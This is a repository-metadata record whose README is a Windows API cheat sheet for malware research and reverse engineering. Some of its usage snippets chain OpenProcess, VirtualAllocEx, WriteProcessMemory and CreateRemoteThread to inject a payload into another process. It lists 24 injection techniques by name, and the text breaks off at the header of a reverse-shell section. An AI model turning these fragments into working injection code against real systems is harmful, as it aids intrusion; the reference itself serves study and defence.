{"id":14976922,"url":"https://github.com/7etsuo/windows-api-function-cheatsheets","last_synced_at":"2025-10-02T10:30:48.773Z","repository":{"id":165371951,"uuid":"626121868","full_name":"7etsuo/windows-api-function-cheatsheets","owner":"7etsuo","description":"A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.","archived":false,"fork":true,"pushed_at":"2024-08-16T03:21:14.000Z","size":28497,"stargazers_count":822,"open_issues_count":5,"forks_count":95,"subscribers_count":11,"default_branch":"main","last_synced_at":"2024-09-24T21:02:10.525Z","etag":null,"topics":["cheatsheet","malware-analysis","malware-research","reverse-engineering","syscalls","systems-programming","win32-api","windows","windows-10","windows-11","windows-api","windows-internals"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"PaddyCahil/windows-api-function-cheatsheets","license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/7etsuo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null},"funding":{"github":["snowcra5h"]}},"created_at":"2023-04-10T21:00:30.000Z","updated_at":"2024-09-24T17:08:20.000Z","dependencies_parsed_at":"2023-11-21T23:41:00.381Z","dependency_job_id":null,"html_url":"https://github.com/7etsuo/windows-api-function-cheatsheets","commit_stats":null,"previous_names":["7etsuo/windows-api-function-cheatsheets"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7etsuo%2Fwindows-api-function-cheatsheets","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7etsuo%2Fwindows-api-function-cheatsheets/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7etsuo%2Fwindows-api-function-cheatsheets/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/7etsuo%2Fwindows-api-function-cheatsheets/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/7etsuo","download_url":"https://codeload.github.com/7etsuo/windows-api-function-cheatsheets/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":219875669,"owners_count":16554698,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cheatsheet","malware-analysis","malware-research","reverse-engineering","syscalls","systems-programming","win32-api","windows","windows-10","windows-11","windows-api","windows-internals"],"created_at":"2024-09-24T13:54:41.153Z","updated_at":"2025-10-02T10:30:43.412Z","avatar_url":"https://github.com/7etsuo.png","language":null,"readme":"\u003cdiv align=\"center\"\u003e\n  \n![API CheatSheets](https://github.com/user-attachments/assets/628ab88c-0ddc-408d-a91e-e012c7f78a51)\n\n\u003c/div\u003e\n\n\u003cdiv align=\"center\"\u003e\n  \n# Windows API Function Cheatsheets\n\u003ch3\u003eContact\u003c/h3\u003e\n\n🌨️ Tetsuo: https://www.x.com/tetsuo\n \u003c/div\u003e\n\n## Table of Contents\n\n- [Windows API Function Cheatsheets](#windows-api-function-cheatsheets)\n    - [File Operations](#file-operations)\n    - [Process Management](#process-management)\n    - [Memory Management](#memory-management)\n    - [Thread Management](#thread-management)\n    - [Dynamic-Link Library (DLL) Management](#dynamic-link-library-dll-management)\n    - [Synchronization](#synchronization)\n    - [Interprocess Communication](#interprocess-communication)\n    - [Windows Hooks](#windows-hooks)\n    - [Cryptography](#cryptography)\n    - [Debugging](#debugging)\n    - [Winsock](#winsock)\n    - [Registry Operations](#registry-operations)\n    - [Error Handling](#error-handling)\n    - [Resource Management](#resource-management)\n  - [Unicode String Functions](#unicode-string-functions)\n    - [String Length](#string-length)\n    - [String Copy](#string-copy)\n    - [String Concatenation](#string-concatenation)\n    - [String Comparison](#string-comparison)\n    - [String Search](#string-search)\n    - [Character Classification and Conversion](#character-classification-and-conversion)\n  - [Win32 Structs Cheat Sheet](#win32-structs-cheat-sheet)\n    - [Common Structs](#common-structs)\n    - [Win32 Sockets Structs Cheat Sheet (winsock.h)](#win32-sockets-structs-cheat-sheet-winsockh)\n    - [Win32 Sockets Structs Cheat Sheet (winsock2.h)](#win32-sockets-structs-cheat-sheet-winsock2h)\n    - [Win32 Sockets Structs Cheat Sheet (ws2def.h)](#win32-sockets-structs-cheat-sheet-ws2defh)\n- [Code Injection Techniques](#code-injection-techniques)\n  - [1. DLL Injection](#1-dll-injection)\n  - [2. PE Injection](#2-pe-injection)\n  - [3. Reflective Injection](#3-reflective-injection)\n  - [4. APC Injection](#4-apc-injection)\n  - [5. Process Hollowing (Process Replacement)](#5-process-hollowing-process-replacement)\n  - [6. AtomBombing](#6-atombombing)\n  - [7. Process Doppelgänging](#7-process-doppelgänging)\n  - [8. Process Herpaderping](#8-process-herpaderping)\n  - [9. Hooking Injection](#9-hooking-injection)\n  - [10. Extra Windows Memory Injection](#10-extra-windows-memory-injection)\n  - [11. Propagate Injection](#11-propagate-injection)\n  - [12. Heap Spray](#12-heap-spray)\n  - [13. Thread Execution Hijacking](#13-thread-execution-hijacking)\n  - [14. Module Stomping](#14-module-stomping)\n  - [15. IAT Hooking](#15-iat-hooking)\n  - [16. Inline Hooking](#16-inline-hooking)\n  - [17. Debugger Injection](#17-debugger-injection)\n  - [18. COM Hijacking](#18-com-hijacking)\n  - [19. Phantom DLL Hollowing](#19-phantom-dll-hollowing)\n  - [20. PROPagate](#20-propagate)\n  - [21. Early Bird Injection](#21-early-bird-injection)\n  - [22. Shim-based Injection](#22-shim-based-injection)\n  - [23. Mapping Injection](#23-mapping-injection)\n  - [24. KnownDlls Cache Poisoning](#24-knowndlls-cache-poisoning)\n- [Process Enumeration](#process-enumeration)\n\n## Windows API Function Calls\n### File Operations\n[CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)\n```c\nHANDLE CreateFile(\n  LPCTSTR lpFileName,\n  DWORD dwDesiredAccess,\n  DWORD dwShareMode,\n  LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n  DWORD dwCreationDisposition,\n  DWORD dwFlagsAndAttributes,\n  HANDLE hTemplateFile\n); // Opens an existing file or creates a new file.\n```\n[ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile)\n```c\nBOOL ReadFile(\n  HANDLE hFile,\n  LPVOID lpBuffer,\n  DWORD nNumberOfBytesToRead,\n  LPDWORD lpNumberOfBytesRead,\n  LPOVERLAPPED lpOverlapped\n); // Reads data from the specified file.\n```\n[WriteFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile)\n```c\nBOOL WriteFile(\n  HANDLE hFile,\n  LPCVOID lpBuffer,\n  DWORD nNumberOfBytesToWrite,\n  LPDWORD lpNumberOfBytesWritten,\n  LPOVERLAPPED lpOverlapped\n); // Writes data to the specified file.\n```\n[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)\n```c\nBOOL CloseHandle(\n  HANDLE hObject\n); // Closes an open handle.\n```\n\n### Process Management\n[OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)\n```c\nHANDLE OpenProcess(\n  [in] DWORD dwDesiredAccess,\n  [in] BOOL  bInheritHandle,\n  [in] DWORD dwProcessId\n); // Opens an existing local process object. e.g., try to open target process\n```\n```c\nhProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);\n```\n[CreateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)\n```c\nHANDLE CreateProcess(\n  LPCTSTR lpApplicationName,\n  LPTSTR lpCommandLine,\n  LPSECURITY_ATTRIBUTES lpProcessAttributes,\n  LPSECURITY_ATTRIBUTES lpThreadAttributes,\n  BOOL bInheritHandles,\n  DWORD dwCreationFlags,\n  LPVOID lpEnvironment,\n  LPCTSTR lpCurrentDirectory,\n  LPSTARTUPINFO lpStartupInfo,\n  LPPROCESS_INFORMATION lpProcessInformation\n); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.\n```\n```c\n// Start the child process\n// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure\nCreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, \u0026si, \u0026pi); \n```\n[WinExec](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec)\n```c\nUINT WinExec(\n  [in] LPCSTR lpCmdLine,\n  [in] UINT   uCmdShow\n); // Runs the specified application.\n```\n```c\nresult = WinExec(L\"C:\\\\Windows\\\\System32\\\\cmd.exe\", SW_SHOWNORMAL);\n```\n[TerminateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess)\n```c\nBOOL TerminateProcess(\n  HANDLE hProcess,\n  UINT uExitCode\n); // Terminates the specified process.\n```\n[ExitWindowsEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex)\n```c\nBOOL ExitWindowsEx(\n  [in] UINT  uFlags,\n  [in] DWORD dwReason\n); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system.\n```\n```c\nbResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION);\n```\n[CreateToolhelp32Snapshot](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot)\n```c\nHANDLE CreateToolhelp32Snapshot(\n  [in] DWORD dwFlags,\n  [in] DWORD th32ProcessID\n); // used to obtain information about processes and threads running on a Windows system.\n```\n[Process32First](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first)\n```c\nBOOL Process32First(\n  [in]      HANDLE           hSnapshot,\n  [in, out] LPPROCESSENTRY32 lppe\n); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.\n```\n[Process32Next](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next)\n```c\nBOOL Process32Next(\n  [in]  HANDLE           hSnapshot,\n  [out] LPPROCESSENTRY32 lppe\n); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.\n```\n[WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)\n```c\nBOOL WriteProcessMemory(\n  [in]  HANDLE  hProcess,\n  [in]  LPVOID  lpBaseAddress,\n  [in]  LPCVOID lpBuffer,\n  [in]  SIZE_T  nSize,\n  [out] SIZE_T  *lpNumberOfBytesWritten\n); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.\n```\n```c\nWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx\n```\n[ReadProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory)\n```c\nBOOL ReadProcessMemory(\n  [in]  HANDLE  hProcess,\n  [in]  LPCVOID lpBaseAddress,\n  [out] LPVOID  lpBuffer,\n  [in]  SIZE_T  nSize,\n  [out] SIZE_T  *lpNumberOfBytesRead\n); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.\n```\n```c\nbResult = ReadProcessMemory(pHandle, (void*)baseAddress, \u0026address, sizeof(address), 0);\n```\n\n### Memory Management\n[VirtualAlloc](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)\n```c\nLPVOID VirtualAlloc(\n  LPVOID lpAddress,\n  SIZE_T dwSize,                // Shellcode must be between 0x1 and 0x10000 bytes (page size)\n  DWORD flAllocationType,       // #define MEM_COMMIT 0x00001000\n  DWORD flProtect               // #define PAGE_EXECUTE_READWRITE 0x00000040  \n); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.\n```\n[VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)\n```c\nLPVOID VirtualAllocEx(\n  [in]           HANDLE hProcess,\n  [in, optional] LPVOID lpAddress,\n  [in]           SIZE_T dwSize,\n  [in]           DWORD  flAllocationType,\n  [in]           DWORD  flProtect\n); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.\n```\n```c\npRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);\n```\n[VirtualFree](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree)\n```c\nBOOL VirtualFree(\n  LPVOID lpAddress,\n  SIZE_T dwSize,\n  DWORD dwFreeType\n); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.\n```\n[VirtualProtect function (memoryapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)\n```c\nBOOL VirtualProtect(\n  LPVOID lpAddress,\n  SIZE_T dwSize,\n  DWORD  flNewProtect,\n  PDWORD lpflOldProtect\n); // Changes the protection on a region of committed pages in the virtual address space of the calling process.\n```\n[RtlMoveMemory](https://learn.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory)\n```c\nVOID RtlMoveMemory(\n  _Out_       VOID UNALIGNED *Destination,\n  _In_  const VOID UNALIGNED *Source,\n  _In_        SIZE_T         Length\n); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.\n```\n\n### Thread Management\n[CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)\n```c\nHANDLE CreateThread(\n  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,         // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle.\n  [in]            SIZE_T                  dwStackSize,                // The initial size of the stack, in bytes.\n  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,             // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE\n  [in, optional]  __drv_aliasesMem LPVOID lpParameter,                // A pointer to a variable to be passed to the thread function.\n  [in]            DWORD                   dwCreationFlags,            // The flags that control the creation of the thread.\n  [out, optional] LPDWORD                 lpThreadId                  // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.\n); // Creates a thread to execute within the virtual address space of the calling process.\n```\n```c\nth = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0);\n```\n[CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)\n```c\nHANDLE CreateRemoteThread(\n  [in]  HANDLE                 hProcess,\n  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,\n  [in]  SIZE_T                 dwStackSize,\n  [in]  LPTHREAD_START_ROUTINE lpStartAddress,\n  [in]  LPVOID                 lpParameter,\n  [in]  DWORD                  dwCreationFlags,\n  [out] LPDWORD                lpThreadId\n); // Creates a thread that runs in the virtual address space of another process.\n```\n```c\nhThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory\n```\n[CreateRemoteThreadEx](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex)\n```c\nHANDLE CreateRemoteThreadEx(\n  [in]            HANDLE                       hProcess,\n  [in, optional]  LPSECURITY_ATTRIBUTES        lpThreadAttributes,\n  [in]            SIZE_T                       dwStackSize,\n  [in]            LPTHREAD_START_ROUTINE       lpStartAddress,\n  [in, optional]  LPVOID                       lpParameter,\n  [in]            DWORD                        dwCreationFlags,\n  [in, optional]  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,\n  [out, optional] LPDWORD                      lpThreadId\n); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity.\n   // See InitializeProcThreadAttributeList\n```\n```c\nhThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory\n```\n[ExitThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-exitthread)\n```c\nVOID ExitThread(\n  DWORD dwExitCode\n); // Terminates the calling thread and returns the exit code to the operating system.\n```\n[GetExitCodeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getexitcodethread)\n```c\nBOOL GetExitCodeThread(\n  HANDLE hThread,\n  LPDWORD lpExitCode\n); // Retrieves the termination status of the specified thread.\n```\n[ResumeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread)\n```c\nDWORD ResumeThread(\n  HANDLE hThread\n); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.\n```\n[SuspendThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread)\n```c\nDWORD SuspendThread(\n  HANDLE hThread\n); // Suspends the specified thread.\n```\n[TerminateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminatethread)\n```c\nBOOL TerminateThread(\n  HANDLE hThread,\n  DWORD dwExitCode\n); // Terminates the specified thread.\n```\n[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)\n```c\nBOOL CloseHandle(\n  HANDLE hObject\n); // Closes an open handle.\n```\n\n### Dynamic-Link Library (DLL) Management\n[LoadLibrary](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya)\n```c\nHMODULE LoadLibrary(\n  LPCTSTR lpFileName\n); // Loads a dynamic-link library (DLL) module into the address space of the calling process.\n```\n[LoadLibraryExA](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa)\n```c\nHMODULE LoadLibraryExA(\n  [in] LPCSTR lpLibFileName,\n       HANDLE hFile,\n  [in] DWORD  dwFlags\n); // Loads the specified module into the address space of the calling process, with additional options.\n```\n```c\nHMODULE hModule = LoadLibraryExA(\"ws2_32.dll\", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS);\n```\n[GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)\n```c\nFARPROC GetProcAddress(\n  HMODULE hModule,\n  LPCSTR lpProcName\n); // Retrieves the address of an exported function or variable from the specified DLL.\n```\n```c\npLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(\"Kernel32.dll\"), \"LoadLibraryA\");\n```\n\n[FreeLibrary](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary)\n```c\nBOOL FreeLibrary(\n  HMODULE hModule\n); // Frees the loaded DLL module and, if necessary, decrements its reference count.\n```\n\n### Synchronization\n[CreateMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa)\n```c\nHANDLE CreateMutex(\n  LPSECURITY_ATTRIBUTES lpMutexAttributes,\n  BOOL bInitialOwner,\n  LPCTSTR lpName\n); // Creates a named or unnamed mutex object.\n```\n[CreateSemaphore](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createsemaphorea)\n```c\nHANDLE CreateSemaphore(\n  LPSECURITY_ATTRIBUTES lpSemaphoreAttributes,\n  LONG lInitialCount,\n  LONG lMaximumCount,\n  LPCTSTR lpName\n); // Creates a named or unnamed semaphore object.\n```\n[ReleaseMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasemutex)\n```c\nBOOL ReleaseMutex(\n  HANDLE hMutex\n); // Releases ownership of the specified mutex object.\n```\n[ReleaseSemaphore](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasesemaphore)\n```c\nBOOL ReleaseSemaphore(\n  HANDLE hSemaphore,\n  LONG lReleaseCount,\n  LPLONG lpPreviousCount\n); // Increases the count of the specified semaphore object by a specified amount.\n```\n[WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)\n```c\nDWORD WaitForSingleObject(\n  [in] HANDLE hHandle,\n  [in] DWORD  dwMilliseconds\n); // Waits until the specified object is in the signaled state or the time-out interval elapses.\n```\n```c\nWaitForSingleObject(hThread, 500);\n```\n\n### Interprocess Communication\n[CreatePipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe)\n```c\nBOOL CreatePipe(\n  PHANDLE hReadPipe,\n  PHANDLE hWritePipe,\n  LPSECURITY_ATTRIBUTES lpPipeAttributes,\n  DWORD nSize\n); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe.\n```\n[CreateNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)\n```c\nHANDLE CreateNamedPipe(\n  LPCTSTR lpName,\n  DWORD dwOpenMode,\n  DWORD dwPipeMode,\n  DWORD nMaxInstances,\n  DWORD nOutBufferSize,\n  DWORD nInBufferSize,\n  DWORD nDefaultTimeOut,\n  LPSECURITY_ATTRIBUTES lpSecurityAttributes\n); // Creates a named pipe and returns a handle for subsequent pipe operations.\n```\n[ConnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe)\n```c\nBOOL ConnectNamedPipe(\n  HANDLE hNamedPipe,\n  LPOVERLAPPED lpOverlapped\n); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.\n```\n[DisconnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe)\n```c\nBOOL DisconnectNamedPipe(\n  HANDLE hNamedPipe\n); // Disconnects the server end of a named pipe instance from a client process.\n```\n[CreateFileMapping](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga)\n```c\nHANDLE CreateFileMapping(\n  HANDLE hFile,\n  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,\n  DWORD flProtect,\n  DWORD dwMaximumSizeHigh,\n  DWORD dwMaximumSizeLow,\n  LPCTSTR lpName\n); // Creates or opens a named or unnamed file mapping object for a specified file.\n```\n[MapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)\n```c\nLPVOID MapViewOfFile(\n  HANDLE hFileMappingObject,\n  DWORD dwDesiredAccess,\n  DWORD dwFileOffsetHigh,\n  DWORD dwFileOffsetLow,\n  SIZE_T dwNumberOfBytesToMap\n); // Maps a view of a file mapping into the address space of the calling process.\n```\n[UnmapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-unmapviewoffile)\n```c\nBOOL UnmapViewOfFile(\n  LPCVOID lpBaseAddress\n); // Unmaps a mapped view of a file from the calling process's address space.\n```\n[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)\n```c\nBOOL CloseHandle(\n  HANDLE hObject\n); // Closes an open handle.\n```\n\n### Windows Hooks\n[SetWindowsHookExA](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa)\n```c\nHHOOK SetWindowsHookExA(\n  [in] int       idHook,\n  [in] HOOKPROC  lpfn,\n  [in] HINSTANCE hmod,\n  [in] DWORD     dwThreadId\n); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.\n```\n[CallNextHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex)\n```c\nLRESULT CallNextHookEx(\n  [in, optional] HHOOK  hhk,\n  [in]           int    nCode,\n  [in]           WPARAM wParam,\n  [in]           LPARAM lParam\n); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.\n```\n[UnhookWindowsHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-unhookwindowshookex)\n```c\nBOOL UnhookWindowsHookEx(\n  [in] HHOOK hhk\n); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.\n```\n[GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate)\n```c\nSHORT GetAsyncKeyState(\n  [in] int vKey\n); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.\n```\n[GetKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeystate)\n```c\nSHORT GetKeyState(\n  [in] int nVirtKey\n); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).\n```\n[GetKeyboardState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardstate)\n```c\nBOOL GetKeyboardState(\n  [out] PBYTE lpKeyState\n); // Copies the status of the 256 virtual keys to the specified buffer.\n```\n\n### Cryptography\n[CryptBinaryToStringA](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptbinarytostringa)\n```c\nBOOL CryptBinaryToStringA(\n  [in]            const BYTE *pbBinary,\n  [in]            DWORD      cbBinary,\n  [in]            DWORD      dwFlags,\n  [out, optional] LPSTR      pszString,\n  [in, out]       DWORD      *pcchString\n); // The CryptBinaryToString function converts an array of bytes into a formatted string.\n```\n[CryptDecrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecrypt)\n```c\nBOOL CryptDecrypt(\n  [in]      HCRYPTKEY  hKey,\n  [in]      HCRYPTHASH hHash,\n  [in]      BOOL       Final,\n  [in]      DWORD      dwFlags,\n  [in, out] BYTE       *pbData,\n  [in, out] DWORD      *pdwDataLen\n); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.\n```\n[CryptEncrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptencrypt)\n```c\nBOOL CryptEncrypt(\n  [in]      HCRYPTKEY  hKey,\n  [in]      HCRYPTHASH hHash,\n  [in]      BOOL       Final,\n  [in]      DWORD      dwFlags,\n  [in, out] BYTE       *pbData,\n  [in, out] DWORD      *pdwDataLen,\n  [in]      DWORD      dwBufLen\n); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.\n```\n[CryptDecryptMessage](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecryptmessage)\n```c\nBOOL CryptDecryptMessage(\n  [in]                PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara,\n  [in]                const BYTE                  *pbEncryptedBlob,\n  [in]                DWORD                       cbEncryptedBlob,\n  [out, optional]     BYTE                        *pbDecrypted,\n  [in, out, optional] DWORD                       *pcbDecrypted,\n  [out, optional]     PCCERT_CONTEXT              *ppXchgCert\n); // The CryptDecryptMessage function decodes and decrypts a message.\n```\n[CryptEncryptMessage]()\n```c\nBOOL CryptEncryptMessage(\n  [in]      PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara,\n  [in]      DWORD                       cRecipientCert,\n  [in]      PCCERT_CONTEXT []           rgpRecipientCert,\n  [in]      const BYTE                  *pbToBeEncrypted,\n  [in]      DWORD                       cbToBeEncrypted,\n  [out]     BYTE                        *pbEncryptedBlob,\n  [in, out] DWORD                       *pcbEncryptedBlob\n); // The CryptEncryptMessage function encrypts and encodes a message.\n```\n\n### Debugging\n[IsDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent)\n```c\nBOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger.\n```\n[CheckRemoteDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-checkremotedebuggerpresent)\n```c\nBOOL CheckRemoteDebuggerPresent(\n  [in]      HANDLE hProcess,\n  [in, out] PBOOL  pbDebuggerPresent\n); // Determines whether the specified process is being debugged.\n```\n[OutputDebugStringA](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-outputdebugstringa)\n```c\nvoid OutputDebugStringA(\n  [in, optional] LPCSTR lpOutputString\n); // Sends a string to the debugger for display.\n```\n\n### Winsock\n```c\n/*** Windows Reverse Shell\n * \n *   ██████  ███▄    █  ▒█████   █     █░ ▄████▄   ██▀███   ▄▄▄        ██████  ██░ ██\n * ▒██    ▒  ██ ▀█   █ ▒██▒  ██▒▓█░ █ ░█░▒██▀ ▀█  ▓██ ▒ ██▒▒████▄    ▒██    